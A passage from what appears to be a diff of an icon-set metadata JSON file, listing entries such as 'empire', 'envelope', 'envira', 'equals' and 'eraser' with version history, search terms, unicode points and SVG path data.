7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z" + } + }, + "free": [ + "brands" + ] + }, + "empire": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d1", + "label": "Galactic Empire", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860983, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z" + } + }, + "free": [ + "brands" + ] + }, + "envelope": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "e-mail", + "email", + "letter", + "mail", + "message", + "notification", + "support" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0e0", + "label": "Envelope", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635462, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z" + }, + "regular": { + "last_modified": 1628088634793, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "envelope-open": { + "changes": [ + "4.7", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "e-mail", + "email", + "letter", + "mail", + "message", + "notification", + "support" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2b6", + "label": "Envelope Open", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635461, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z" + }, + "regular": { + "last_modified": 1628088634792, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "envelope-open-text": { + "changes": [ + "5.3.0", + "5.10.1", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "e-mail", + "email", + "letter", + "mail", + "message", + "notification", + "support" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f658", + "label": "Envelope Open-text", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635461, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z" + } + }, + "free": [ + "solid" + ] + }, + "envelope-square": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "e-mail", + "email", + "letter", + "mail", + "message", + "notification", + "support" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f199", + "label": "Envelope Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635461, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z" + } + }, + "free": [ + "solid" + ] + }, + "envira": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "leaf" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f299", + "label": "Envira Gallery", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860983, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z" + } + }, + "free": [ + "brands" + ] + }, + "equals": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "even", + "match", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f52c", + "label": "Equals", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635462, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "eraser": { + "changes": [ + "3.1", + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "art", + "delete", + "remove", + "rubber" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f12d", + "label": "eraser", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635462, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z" + } + }, + "free": [ + "solid" + ] + }, + "erlang": { + "changes": [ + "5.0.0", + "5.0.3", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f39d", + "label": "Erlang", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699928, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 